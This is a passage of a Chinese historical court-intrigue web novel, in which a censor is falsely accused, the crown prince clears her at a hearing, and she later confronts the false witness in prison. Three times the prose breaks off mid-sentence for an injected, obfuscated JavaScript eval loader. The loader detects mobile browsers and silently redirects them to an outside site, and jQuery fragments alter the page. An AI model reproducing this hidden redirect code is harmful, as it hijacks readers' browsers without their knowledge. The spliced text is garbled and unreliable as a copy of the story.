纪重珝看着她的眼睛,深井一般平静的眼睛,此刻却暗藏着惊涛骇浪。
“罢了,是孤失礼了。”
他默默松开手,转身走了。徐珩阑看着他的背影,像望进深邃的密林,万般猜测疑惑,都化为郁结在胸的一口气,吐也不能,咽也不能。
这时,暗云迎上来,关切道:
“怎会晕倒了?”
徐珩阑不语,过了半晌才道:“有些累了,回房吧。”
8. 秋明轩太子独赏画 台诏狱中丞笑对嘲
第二日,暗云按徐珩阑的吩咐,请纪重珝搬到了秋明轩。
一进秋明轩,一幅虚节咽冰图引起了纪重珝的注意。
徐家三代诗书,算得上是辰州当地的诗书大家,府内名人书画不计其数,只是这幅画却看得出来年头不长,画工也略显粗糙,像是友人相赠。
虽然说一眼看过去就不是名家名作,但却另有一番韵味。粗糙中蕴含着不拘一格,豪放不羁的墨迹,能看得出作画者的性情。
画上没写是谁相赠,只是那几句五言题诗十分引人注目。细看,那诗写道:
“穷风斜叶细,苦石正身直。
临溪孤照影,风流我自知。”
在画上题五绝的,纪重珝见得少。若题五绝,就证明题诗的人对自己的才能十分自信,觉得寥寥几字就能道出画中神韵。
可这诗却作得一般,并没什么新意,恐怕是徐珩阑少年时作的。正在纪重珝看画看入神时,暗云突然走来,笑道:“这画侯爷找了许久,原来是挂在这里了。”
说着,她便要踮着脚,把画拿下来。纪重珝伸手帮她拿了下来。
暗云笑道:“多谢殿下,不过这点小事,还是让奴婢来吧。”
“这是谁送的?”
暗云一愣,虽然徐珩阑嘴上不说,但她也隐约知道昨日两人似乎闹了矛盾。此时听纪重珝突然问起来,暗云不禁笑道:
“也不知是谁送的。这画也不知有什么好,侯爷宝贝得跟什么似的,碰都不许人碰,当时找不见了却不见她急,奇怪得很。”
纪重珝看看暗云,淡淡道:“还是有几分好的,不然也不会这么爱惜。”
“两个人嘀嘀咕咕编排我什么呢?”
闻声,暗云忙回头。纪重珝却反应很冷淡,只打了招呼便走了。
“侯爷你瞧,这不是侯爷宝贝的画吗?”
徐珩阑一愣,接过卷轴,展开。
“是这个啊。”徐珩阑有点心不在焉,似乎也没把这画放在心上,扔给身后的黎云,继续道:
“我今晚可能回不来,记得把这信交给沈司谏。”
“叫我去?”暗云有些惊讶,“为何不交给江离?”
徐珩阑笑了笑,并未做解释,又道:“告诉沈司谏,务必尽快行动,我的身家性命可都系在他身上了。”
三个时辰后,谏院,沈怀真身着绿色官服,手里是徐珩阑交给他的“信”。
“侯爷说:‘请沈司谏务必尽快行动,我的身家性命可都系在他身上了。’”
“真真叫人笑掉了牙齿。”沈怀真皱着眉,翻着手里那几页泛黄的纸。
“就凭这么几页烂纸就能救他身家性命?他这人怕不是糊涂了,当了大官,脑子倒不如从前了。”
“侯爷还说……”暗云顿了一下,见沈怀真脚步一顿,继续道,“若沈司谏不愿出手相助,还生硬要学许老那爱刻薄的毛病,那就请沈司谏别忘了前几日是谁帮沈兄把……”
“徐珩阑这个烂了嘴的!”沈怀真心虚地看看四周,咬牙切齿道,“我帮他不就是了。这个徐珩阑……姑娘你别多虑,我是气你家侯爷,麻烦姑娘若有机会,回去告诉他一声:我就帮他这一次,下次再找我,跪着求我,我也不应。”
暗云掩嘴笑道:“就这么说?”
“就这么说。”有人来叫沈怀真,他回头应下,转头又向暗云道:“务必记着了,多谢姑娘。”
“什么事?”沈怀真问来叫他的同僚。
“国侄老爷,你可真是两耳不闻窗外事,怎的?也要学沈太师归隐山林?”
“都说了,别那么叫我。”沈怀真有些生气,那人笑笑,就当道歉了,又道:
“徐中丞,徐行,今早被抓了。”
沈怀真手里的纸险些掉到地上,但他死死攥住,指节发白。
“这个徐珩阑,究竟在想什么?”他暗道,一咬牙,忙疾步向前走去。
“哎?沈兄,你去哪?”
沈怀真沉声道:“入宫面圣。”
此时,御史台诏狱。今早,就在徐珩阑刚刚嘱咐暗云送信后,御史台就有人来了徐府。说是徐珩阑“买良为娼”,将一个良家女逼死。
徐珩阑身为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299173|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
御史台长官,却被御史台弹劾,不知为众官员提供了多少谈资。至于是谁弹劾,正是一直协助徐珩阑查办燕州军费一案的陈台副。
此事的幕后主使看来也自觉台副弹劾台长有些不妥,必有人借机说是台副觊觎台长之位。因此,在弹劾徐珩阑的名单上,还多了不少无关的人——比如左谏议大夫范卓群。
想都不用想这是宋金的手笔。
昏暗潮湿的牢房内,铁门开启的声响打破了宁静。
坐在牢房内的徐珩阑睁开眼,见了来人的脸,笑道:
“我以为钱相从此对我便不闻不问了,此时竟也愿意来看我。”
钱正言毫不在意地笑了笑,沉声道:“既然不是你的,再使什么手段,也留不住,反倒会招来祸患。”
“林国公也这么说过。”
“你既然知道这个道理……”钱正言捋了捋胡须,“当初就不该把那帮贼人交给皇城司。”
“要人家帮忙总得有点诚意吧。”徐珩阑丝毫看不出害怕,仿佛是坐在自家的书房,十分自在,笑道:“况且,殿下也受了伤不是?”
“你自作聪明,你知道官家不会管你遇刺的事,但若太子受伤,官家必定会严查。殊不知,就算官家会派皇城司查幕后主使,你的死活依然没人关心。”
“也不完全是吧。”徐珩阑笑看钱正言,“钱相不是时时挂念我,一听我被捕,就第一个跑来看望我吗?真是感激不尽。”
“不过是因为你还有几分用处罢了。”钱正言失笑,“不过一个宋金就能把你逼入绝境,如此看来,你也没什么大用了。”
“谁说宋金把我逼入绝境了?”徐珩阑笑意渐深,“我还没出手,怎么就分出来胜负了?”
钱正言笑而不语,转身离去,临走时突然问道:
“听说殿下为你挡刀,是真是假?”
徐珩阑一愣,并没理会。
“那看来是真的了。”钱正言抬头,侧目看看徐珩阑,“你好大的本事,竟和殿下熟络起来了。”
见徐珩阑不说话,钱正言也不自讨没趣,出去了。
9. 纪重珝金殿忙献策 徐珩阑台院急辩冤
沈怀真急急忙忙地入宫,崇文殿外,遇上了纪重珝。
“见过殿下。”
“表兄不必多礼。”
纪重珝施礼间偶然瞥见沈怀真手上泛黄的一摞纸,像是账本拆开书脊的样子。
见沈怀真着急,纪重珝也没多问,看着沈怀真从自己身边疾步向前走去。
看着沈怀真走远的身影,纪重珝若有所思。一旁的夏烨忍不住出声提醒道:“殿下?”
纪重珝微微点点头,转身向崇文殿相反的方向走去。
沈怀真出宫后,纪重珝又回到崇文殿,与纪铭说了皇城司查出来的结果,旁敲侧击地说了说徐珩阑被弹劾的事。
“买良为娼,此事说大不大,说小不小。”纪铭好像不是十分上心,“但偏偏在这个节骨眼上。”
“徐中丞是否真的‘买良为娼’,待公堂对峙时便知晓,到时若徐中丞确做过此等丧尽天良之事,再做决断也不迟。”
纪铭对徐珩阑是不是被冤枉的并不关心,但纪重珝这么为一个无亲无故的官员说情,这点让纪铭很在意。
“这个徐行到底有什么过人之处,竟让这么多人为他求情。”
“这么多人?”纪重珝一惊——恐怕是许翰林一众,他们倒不一定是念在与徐珩阑的私情,恐怕是单纯觉得未经审理就草草为徐珩阑定罪有些不妥——按例办事罢了。况且这其中的蹊跷,纪铭不可能看不出来——明摆着就是宋金刺杀不成,联合党羽报复徐珩阑。
因此,纪铭此时这么问,并非是在问其他人为何为徐珩阑求情,而是在问纪重珝。徐珩阑既不是他母族,也和他没什么交集。现今纪重珝又是替徐珩阑挡刀,又是为徐珩阑求情,难免让人生疑。
纪铭眼睛并没看他,仍看着手里的公文。可纪重珝仍觉得有双眼睛盯着他。
他难以察觉地深吸一口气,坦然道:“徐台长为查燕州军费,鞠躬尽瘁,纵遭贼寇蓄意报复亦在所不惜,真乃舍身事国之士。今竟因无凭之罪入狱,想古之良臣,如比干剖心、子胥赐死,皆信而见疑,忠而被谤。今徐台长蒙冤,恰似明珠蒙尘,此非奸臣当道之象乎?我朝以明君治世,岂容此等事哉!”
语毕,崇文殿陷入了短暂却难捱的沉默,唯纪重珝的声音的回声绕梁,荡漾至远处。
纪铭面无表情地看了他半晌,突然面色软下来,笑道:“罢了,你能有这心,朕便知足了。”
“此事朕不多过问,全权交给你便是了。”纪铭语气依然很冷,看来并没有完全信任纪重珝。不过纪重珝刚刚那番话合情合理,很符合太傅许比玉的性情。说是受了许比玉的影响,也说得过去。
纪重珝谢恩后出殿,路上不禁想起当时在殿外遇到沈怀真。那几页纸,纪重珝虽然没看仔细,但心里已猜了个大概——是枢密院的账册。可宋金就算再傻,也不至于蠢到贪腐时连账簿都不改。
此刻拿出这个账册来,恐怕是因为账册上并没有什么可疑之处,宋金真正的名堂也不在此。既然如此,徐珩阑前几日必然已交了其他的证据,此时与账簿一比对,便能坐实了宋金的罪名。
那账簿应该也是徐珩阑托沈怀真交出去的,难道她连宋金诬陷她入狱都算好了吗?或许也不完全是算好了,看来徐珩阑在宋金身边有眼线,不然为何宋金的一举一动都在徐珩阑的意料之中。
不光是宋金身边。能轻松取出枢密院的账本,那么徐珩阑在枢密院恐怕也有帮忙的人。看来徐珩阑看似“众叛亲离”,实际上仍是交游广阔。就比如沈怀真,虽表面上与徐珩阑反目,但两人私下仍有联系;许比玉虽斥徐珩阑有辱师门,但徐珩阑被污蔑时,他仍然第一个站出来给他的亲学生说话。
这么一想,纪重珝突然发现自己其实并不了解徐珩阑。虽说徐珩阑平时在纪重珝面前一副忽冷忽热的样子,但恐怕那也不是她的真性情。
几个时辰后,徐珩阑被带到公堂之上。众官员都来围观,想来也是好奇徐珩阑“买良为娼”一事,究竟会如何处理。中间不乏有嫉妒徐珩阑年纪轻轻便身居高位的穷儒酸丁,此时来便是幸灾乐祸。
钱正言也到场,看到熟识的同僚下属也只是点头致意。
徐珩阑是钱正言亲自举荐,此时却被弹劾,为了脸面,钱正言也应该来。
“徐台长,这御史台的石砖你也是第一次跪吧?”宋金在旁不怀好意地说风凉话。
徐珩阑笑而不语。
弹劾徐珩阑的正是侍御史陈忠廉,此刻他也跪在一旁,等待着之后的公堂对簿。
正在众人窃窃私语间,一旁的御史突然宣布肃静。
“钦差制勘使到。”
公堂内瞬时安静下来,官家亲自钦点的制勘使缓缓走入公堂。一看来人,宋金便突然觉得心里不安——竟然是太子纪重珝。
“这徐珩阑什么来头,一个买良为娼的小案子,竟然会惊动官家钦点制勘使来处理。”
知道众人心里纳罕,不过是嘴上不说,纪重珝便首先开口解释道:“官家诏曰:御史中丞徐侯,位极三品,身负庙堂之重寄。今突遭弹劾,涉“买良为娼”之秽事,此风若长,朝堂威严何在?社稷根基何安?朕心忧之!特命太子亲主此案,望太子扬公正之德,怀明察之智,祛奸佞之恶,还忠良之正。务使真相大白于天下,以正朝纲,以安民心。钦此!”
“侍御史陈忠廉。”陈忠廉忙施礼。
“臣在。”
“你弹劾徐中丞,可有确凿之证?”
“请先容微臣向在场诸公解释一下此案前因后果。”
陈忠廉照着念道:“孤女如曼,籍里未详,漂泊辗转,流寓漳京,为李初翠所收养。徐中丞见如曼姿容出众,心生觊觎,妄图强占。如曼贞烈,坚拒不从。徐中丞竟倚仗家资殷富,恃财凌人,强欲将如曼此清白良家之女,鬻为娼妓。如曼不堪其辱,悲愤莫名,终投河而殁。”
此话一出,纪重珝看到徐珩阑的手在发抖——并不是因为害怕,更像是……因为气愤。
和那夜一样,果然徐珩阑那晚失魂落魄是因为如曼的事吗?
这么想着,纪重珝转头向徐珩阑道:“徐中丞,陈台副所言俱实?”
“恕臣直言,无一属实!”
话语一落,满堂皆惊。
“殿下且听臣言:其一,如曼绝非良家女子,实乃李初翠强掳而买之娼妓,故所谓“买良为娼”,纯属子虚乌有,荒诞不经。其二,如曼本系辰州人士,与臣早有旧谊,臣此举意在为其赎身,解其倒悬之苦,救之于水火之中。其三,如曼投河,绝非臣之逼迫,实因当日横遭他人折辱,身心俱疲,不堪其辱,方愤而投河。此皆确凿实情,恳请殿下详察明鉴,以正视听。”
范卓群闻言,十分轻蔑地笑了笑,插口道:“何等交情,能让徐公肯冒着身败名裂的风险为其赎身?不知徐公可愿为诸公解惑?”
一旁的御史立即斥道:“公堂肃穆,岂容旁听者肆意言事!”
“这也是微臣疑惑之处。”陈忠廉看看徐珩阑,正色道,“不知徐中丞可否为诸公解惑?”
众目睽睽下,徐珩阑丝毫不慌,从容道:“以微臣之见,此事与本案毫无瓜葛,故而恕臣实难从命,不便相告。”
“怎见得与此案无关?”陈忠廉反驳道,“究竟是赎身还是强买,徐中丞至少也拿出些证据来吧?”
这话明显不怀好意,宋金早已把当年李初翠敲诈徐珩阑的卖身契毁掉,也就是说,此刻如曼究竟是良是娼,已经没有了书证。此刻陈忠廉向徐珩阑要证据,便是笃定了徐珩阑没有证据坐实如曼的身份。
“实不相瞒,微臣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299174|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并无证据在身。”
人群中不知是谁嗤笑一声。徐珩阑继续道:“不知陈台副适才所言,可有实证为凭?”
这话问到点上了,一切都按照宋金的预想发展。陈忠廉从容应道:“那是自然。”
“传证人李初翠上堂!”
那个佝偻的老妇人走上前来,见堂上这么多大人物,初翠难免有些胆怯,颤颤巍巍地行礼。
“你就是李初翠?”一旁的御史问道。
“正是草民。”
“听说你收养了如曼,此言当真?”
初翠正要回答,结果撞上徐珩阑的目光。
“据实说来便是。”陈忠廉看看徐珩阑,发现徐珩阑并没有什么异样,但还是继续道,“不用害怕得罪人。”
初翠的额头上、鼻尖上、后颈上,密密麻麻的满是汗珠。她声音颤抖,缓缓道:
“草民从未……收养孤女如曼。”
此言一出,顿时激起惊涛骇浪。那种头顶湿漉漉的感觉再次重现,宋金不禁捏了把冷汗。
“什么?!”宋金暗暗攥紧了拳头,没想到这初翠竟然临时倒戈。照初翠的胆子,不可能会与宋金作对,难道是……
他火烧的目光转向徐珩阑。
陈忠廉也十分诧异,但还是冷静下来,问道:“李初翠,你当时可不是这么说的,为何要翻供?”
“是宋大人……”
众人的目光又齐齐转向宋金。宋金强作镇定道:“你这毒妇,莫要血口喷人!”
“肃静!”
纪重珝的声音顿时止了堂内的混乱。一旁的御史命李初翠继续说。
“宋大人要草民……在公堂上说,是草民收养了孤女如曼,切不可说出实情。否则便要……便要草民性命。”
陈忠廉翻脸比翻书都快,瞬间便认清了时势。
“这么说,收养如曼是假,强掳如曼才是真?”
“不是……是她父亲把她卖给草民。”
“私自买卖良民可是重罪。”一旁的御史道,“李初翠,你可考虑清楚了再说话。”
初翠有些犹豫,她避开御史严厉的目光,嗫嚅道:“不……草民没有……如曼不是草民买来的,是草民看她可怜……”
宋金讥笑道:“这婆娘的话根本不可信,陈台副找这么一个不可靠的证人,用意何在?怕不是自己觉得理亏,特叫来这么个证人搅浑水吧?”
陈忠廉一惊,正要开口反驳。
“殿下,臣有话欲询李初翠。”徐珩阑突然打断道。
“但说无妨。”
“李初翠。”李初翠浑浊的眼珠一晃,她半张着枯树皮似的嘴,空气中沁出毒,在她口中苦涩地搅动着。
“是我!”她的声音像马临死前的嘶吼,凄厉却无神。
“是草民……骗了如曼的爹,让他把如曼卖给草民……那时辰州发大水,若不买儿买女,绝对没活路呐!我也是做好事,我也看他可怜,才出钱买的。我……我,求大人怜悯,草民好容易才找到失散的孩子,求求大人,饶草民一条命吧!”
“我看事实如何,已经很清楚了吧?”有人在一旁说风凉话。
御史斥道:“肃静!”
纪重珝看着李初翠的脸,问道:“所言俱实?”
李初翠哽咽着点头,她痛苦地闭上眼,紧抿着嘴。
“那么,你可曾胁迫如曼接客?”
她点点头。
堂内一时鸦雀无声,落针可闻。过了半晌,纪重珝道:
“既如此,李初翠,私贩良民为暗娼以谋私利,即刻移送大理寺,听候大理寺详鞫裁决;侍御史陈忠廉,诬告御史中丞徐侯;西府签君宋金,胁使李初翠作伪证以污御史中丞徐侯之名。此二人,皆败坏朝堂清誉,着即移送诏狱!退堂!”
10. 李初翠濒死悲独丧 纪重珝临行隐合欢
大理寺狱,重囚苑。
厚重的锁链却发出清脆的声响,在这个昏暗潮湿的牢房内竟然有几分动听。
一个衣着考究的年轻人站在门前。待狱卒走后,坐在黑暗中的初翠抬起头。
她整个人微微前倾,目不转睛地紧盯着徐珩阑,眼神中满是按捺不住的期待,仿佛下一秒,徐珩阑就能给予她梦寐以求的回应。
“你是想问我之前答应过你的事吧?”徐珩阑缓缓走进牢房,面无表情地看着初翠。
“阿姊投河前,和你说了什么?”
初翠很困惑,她张了张嘴,半晌才道:“我为了大人,不惜道出实情,现今被判了斩首。大人难道要食言吗?”
徐珩阑大笑道:“你强迫阿姊做那营生时,怎么没想到会有这一日?”
“你骗我!”初翠愤怒地抓住徐珩阑的衣摆,像是被置于死地的困兽,“你竟敢骗我!”
“你这人真是奇怪。”徐珩阑笑着看初翠布满红血丝的眼睛,“你精明一世,却真相信我能过往不咎、真能信守诺言。”
初翠气得表情扭曲,扬起干枯的手就要抓徐珩阑的手。徐珩阑向后退了几步,初翠扑了空,只能死死抓着地面,指尖沁出血珠。
她披头散发,尖叫道:“你个卑鄙小人!你不得好死!”
“要是不够卑鄙,也不会和你打交道了。”徐珩阑从怀里掏出手绢,很嫌恶地擦了擦手,“我再问一遍:阿姊死前,她和你说了什么?”
初翠猖狂地大笑,“哈哈哈,我偏不说。事到如今,你还妄想给自己开脱?你死了这条心,她到死都没原谅你!”
说完,初翠便疯狂地大笑。徐珩阑感觉自己的耳朵刀割一样的疼。她的耐心已经耗尽,转身就出去了。
等到她走出牢房,初翠突然开口道:“如果你让我见我儿子一面,我就告诉你。”
徐珩阑脚步一顿,淡然道:
“辰州发大水时,他死了。”
语毕,徐珩阑抬脚便走,只留初翠呆滞在原地,连眼泪都被熬干了,留下黑漆漆的糊咖。
出了大理寺,午后的阳光迎面扑过来,方才那种心悸顿时平静下来。徐珩阑仔细一看,远处正是江离。
见来人是徐珩阑,江离笑了笑,问道:“侯爷这么高兴,怕不是有什么喜事?”
徐珩阑没应声,只是淡淡道:“回御史台吧,我就离了这么一阵,公文恐怕都堆成山了。”
宋金买贼为寇的事败露。他在枢密院负责军费事宜,但勾结贼寇,把镇压贼寇的军费私吞了一部分。宋金这么拙劣的手法,这么多年却不见一个御史弹劾,不用说必是御史台中有人包庇。
至于燕州军费亏空,便草草由宋金一人顶罪了事。此事自宋金被抄家后,就再没了下文。
“燕州驻军不知花了多少钱,真到了契人入侵时却像是纸糊的一般。”沈怀真一放蕉叶杯,盏中酒洒到他手上,“当年燕州狮子大开口,张口就是九千万贯。虽说是宋金递上去,但要是中书门下无人接应,怎么可能这么容易就批下来?还有……”
众官员散衙后,沈怀真非要拉着徐珩阑喝酒,徐珩阑也有约在身,但好在还没到时候,就先随他了。
怎知沈怀真不胜酒力,几杯下肚就开始口无遮拦起来。
翰林院的廖卓然与沈怀真交好,算是沈怀真除了徐珩阑外唯一的挚友。因此沈怀真也请了他来。他在一旁看着沈怀真大声议论,不免觉得不合适,有些为难地劝道:
“汝清兄,既然都是过去的事了,又何必再提?当心给自己招来祸患。”
“你还是老样子。”廖卓然虽然与沈怀真年龄相仿,但因家道中落,在官场上难免有些胆小怕事。他平日里也很羡慕沈怀真一流,能自由自在地为不平鸣冤。
“怕他们作甚?我光明磊落,难道哪句话说错了不成?”他又转头向徐珩阑道,“珩阑,你怎么不说话?难道你也怕了?这可不像你啊,此事就这么了了,你竟然甘心?”
“有何甘心不甘心的?”徐珩阑一开口,就注意到了廖卓然的目光,“我不甘心又有何用?官家明摆着就是要敷衍了事,下午的联衔奏疏你也看见了:一说要大查,这帮人就像踩了尾巴似的,一个比一个跳得欢。谁还敢再查下去呢?我可不担这骂名。”
“这官家也太……”沈怀真一捶腿,“有人反对就不坚持查下去了,这叫……哼,真是让人寒心啊。”
“官家也是人。”廖卓然说道,“况且朝廷除了彻查贪腐,还有许多别的事。总不能为了一桩案子,耗费人力物力,再打搅其他的工作吧?”
“打搅?”徐珩阑好像觉得这个词很有意思,“你这话倒像是他们那边的。”
廖卓然看看徐珩阑,眼神里有些敌意。
沈怀真似乎没看见两人之间的剑拔弩张,反驳道:“不就是问几句话、查几页纸吗?哪里就耽误了他们的事了?”
“有人想让此事快点翻篇,最好是在宋金这里就止住。”徐珩阑笑道,眼睛却看着廖卓然。
“牵扯进来的人恐怕比我们想的多得多。毕竟拿公家的钱办事,剩下的自己吞了,这都成了例了。大到王公贵族,小至平头百姓,谁不是这么干的?况且军费这事,往年太太平平的,没人把它当回事,都觉得是不紧要的钱,沾了便沾了。谁能料到那么多年都没出事,偏偏那年就有契人来犯了?现今突然计较起这个来,往日占了小便宜大便宜的都必然要害怕。毕竟覆巢之下,岂有完卵啊。”
徐珩阑这么一番话说下来,噎得沈怀真一时不知该说什么。
“这风气……”沈怀真嘟囔着,“怪不得祖父要归隐,真是‘世风日下’了啊。”
廖卓然见状,在旁劝道:“官家恐怕也不想与百官起争执,落个‘君臣相争’的名声。况且现今因改革税法争执不下,这么久了都没个定论,恐怕比起贪腐,官家心里更挂念这事吧。”
“改税法还不是因为国库亏空?前几年与契人一战、又逢江南发大水、中原又闹饥荒,连现今的‘上用内造’都大不如前了。可你看看那些权贵家里,远的不说,就说说宋金,前些日子新建的园子,那叫一个穷奢极欲。不先把朝廷这些蛀虫除了,反倒从百姓身上榨油水,这叫什么事?纵观古今,也算是一件荒唐事了。”
“瞧你这话说的。”廖卓然冷笑道,“人家不比你有见识有远略?众人深谋远虑,才定下改革税法这么个法子,你倒好,几句话就把人家驳了。你既然这么有见解,怎么不见你也捞个大官当当?在这和我一个芝麻官逞威风,这算哪门子本事?”
廖卓然这话另有所指,徐珩阑抬眼看了看他,并没有说什么。
闻言,沈怀真忙道:“尔群,你这是什么话?我何时朝你耍过威风?”
“你没耍过威风,是我平民百姓,原不配你们这些王公贵族。你听我说话,当心污了耳朵。”
从来没有人这么说沈怀真,他脸顿时涨个通红,跳起来指着廖卓然道:“卓然兄,亏你还是翰林院出来的,一点风骨也没有了。”
“你每日‘风骨’、‘风骨’挂在嘴边,若是风骨就是口无遮拦、在背后议论君主是非,那我不稀罕那劳什子!”
“你说这话又是何意?什么叫‘口无遮拦’?什么叫‘在背后议
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299175|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
论君主是非’?你怕不是……”
“我就是那个意思。”廖卓然也站起来,不客气地点了几下沈怀真的肩膀,“你有个当帝师的祖父、当皇后的姑母、当太子的表兄,我拿什么和你比?我什么都没有,我只知兢兢业业,把我分内的事做好了,以后也给我家娘子挣个凤冠霞帔,我不愿和你议论这些给自己惹是非,难道我还有错吗?”
“不是……我的意思是……”
“你们名士风流,说什么也不怕,反正天塌下来有人顶着。我哪有靠山?天塌下来我一家人都跟着遭殃,你议论的那些人,我没一个得罪得起。至于文人风骨?”
廖卓然冷哼一声,“那原是那些养尊处优的贵人们编着玩的,我一个平头百姓,哪配得上呢?”
说罢,廖卓然一撩袖子,愤然离去。
“廖卓然!”沈怀真追出去,站在楼梯上大喊:“亏你也是读过书的,这种混账话也说得出来!你今日一去,以后我们道不同不相为谋……也别做朋友了!”
廖卓然头也不回,走了,背影坚决又单薄。
“这个廖尔群!”回了雅室,沈怀真一推桌子,桌上各色菜肴撒了一地。看着那一地狼籍,沈怀真突然有些伤感起来,失落地蹲下身,朝徐珩阑问道:
“这么多年的朋友,怎么说翻脸就翻脸了?”说着,不禁觉得心里难过,捂着脸,不说话了。
“怨早就积下了,只是平日里你看不出来罢了。”徐珩阑也站起身。刚刚的混乱似乎丝毫没波及到她。
徐珩阑掸了掸衣服上不存在的灰尘,又道:“时候不早了,我还有个约,先告辞了。”
“你也要走?”沈怀真叹了口气,坐在一旁的椅子上,“还是你看得通透,我要是能有你一半通透便好了。”
“通透有通透的好,不通透也有不通透的好。各人有各人的性子,有什么好羡慕的?”徐珩阑神色淡淡的,语气平稳,缓缓道,“你们之间的事,我也不好多嘴。不过今日多谢你请我了,待一切尘埃落定,来我府上小聚小聚吧。这几日正是吃莼菜的季节,正好你也来尝尝鲜。”
“莼菜?”沈怀真似乎没那么郁闷了,“你们江南人真是有数不尽的花样。不过把这东西从辰州运过来,也不容易吧。”
“这你就不必操心了。”徐珩阑抬脚欲走,走到门前,又加道,“我也邀了暮紫姑娘,你看着来吧。”
沈怀真一听“暮紫”两个字,顿时像被抽了魂魄,一时竟然忘了回答,等到徐珩阑走后,才渐渐回过神。
“暮紫……”沈怀真喃喃道,“‘潦水尽而寒潭清,烟光凝而暮山紫’,偏偏把‘山’字隐去了吗?”
徐珩阑回了府,顺着熟悉的路到了秋明轩。一入院子,温润潮湿的晚风就吹过来,把人的皮肤也磨成了玉、捂不热的玉。
“孤邀中丞前来,是想和徐中丞告别,这几日劳烦徐中丞了。”纪重珝边说边斟酒,“算不上什么好酒,中丞若不嫌弃,就尝尝吧。”
“岂敢岂敢。”徐珩阑笑道,握起酒盏一饮而尽——是合欢花浸的酒,刚烫的,还是热的。
“我想,我的伤也已大好了,再赖着不走,总也不合礼节。况且,我总在府中走动,恐怕也打扰到中丞了。”
“殿下此言,微臣万不敢当。殿下肯降尊纡贵,暂居微臣府中,实乃微臣莫大之荣幸,微臣欢喜尚不及,岂会觉有丝毫麻烦?”
徐珩阑话说得疏远。纪重珝似乎有些失落,眼神也黯淡下来,强笑道:“果然……不过有件事,孤以为总要说清了,不然中丞心里也疑惑。”
徐珩阑一愣,一时不知他要说什么。
11. 假设计因假远贤人 真亲近以真逗兰音
看着徐珩阑的眼睛,乌黑的眼睫压下来,尾端微微有些翘,显得她的眼神更加扑朔迷离,仿佛蒙了一层乌黑色的雾,浓得教人摸不着一点头脑,拒人于千里之外。
“那日中丞问,我与中丞何时见过面。”
徐珩阑那副密不透风的面具好像微微抖动了一下,但没有一点声音透出来。
“三年前在许江宴上,中丞曾救过我一命,不知中丞可还记得?”
三年前?徐珩阑有点模糊的印象,那时她还在京任殿中侍御史。好像是作为兄长的顺王纪杰琨竟然给纪重珝敬酒。她那时年轻,竟然当着那么多人,包括官家的面,说那杯酒里有毒。
现在想想真是鲁莽极了,可能是那人刚死,因为悲愤有点疯魔了吧。但或许也可能因为是她喝了酒,有些不清醒。
总之无论如何,她都下了纪杰琨好大的面子。那日,纪杰琨突然站起来,走到纪重珝身旁道:
“今储君之位尚虚,稽诸往史,每见因兹而兄弟反目者:昔商臣弑父成王,祸起萧墙,悖人伦纲常之理;秦二世矫诏害扶苏,同室操戈,失手足相亲之义。然吾兄弟情谊,如管鲍之交,相知相惜,情比金坚;似陈雷之契,生死与共,义重泰山;若李杜之好,惺惺相惜,坚逾金石。岂会为区区储位,行同室操戈之举,陷父皇于忧,贻笑于天下?必当敦睦友爱,共襄王室,以报父皇隆恩,不负宗庙社稷之托。”
话说得冠冕堂皇,不光是和纪重珝说的,更是说给官家、在场百官、新科进士们说的。这话明摆着就是让纪重珝别惦记储君之位,尽早让给他了事。毕竟长子继位,最不可能引起争议和争端。
“此杯之酒,乃吾兄弟情深之明证。饮罢此盏,自此吾二人兄弟,当如鹣鲽比翼,岁岁和睦,情谊恒长。”
说着,便将手中斟满的酒盏递上。众人都不觉得此举有什么不妥,甚至有人还因此举而感到纪杰琨才是明大义的——这也是纪杰琨想要的效果。
可纪铭那时的反应却及其冷淡,他只当没看见,自顾自地饮酒,仿佛什么都没发生。
就在纪重珝道了谢,接过酒盏准备一饮而尽时,一个陌生的声音突然扰乱了这兄弟和睦的气氛。
“殿下且慢!”徐珩阑高声道,众人不禁寻声看去,看看是何人如此大胆。
徐珩阑豪不胆怯地走上前来,向纪铭道:“官家恕罪!然微臣绝非有意扰乱圣宴。实因这酒中暗藏剧毒,事出紧急,微臣不敢缄默,还望官家明察,赦微臣鲁莽之罪!”
说着便行礼,她头低了半晌,不禁有些发抖。纪铭等到徐珩阑快撑不住的时候终于开口说道:
“一派胡言!”
纪杰琨不可闻地发出一声冷笑。众人也抱着幸灾乐祸的心思——毕竟纪杰琨明摆着就是未来的太子。众人都觉着此事板上钉钉。敢得罪未来的皇帝,徐珩阑怕是嫌自己头顶的乌纱帽戴得太稳。
“官家明鉴!”徐珩阑突然跪地,坚决道,“若官家不信,微臣愿以身试毒!”
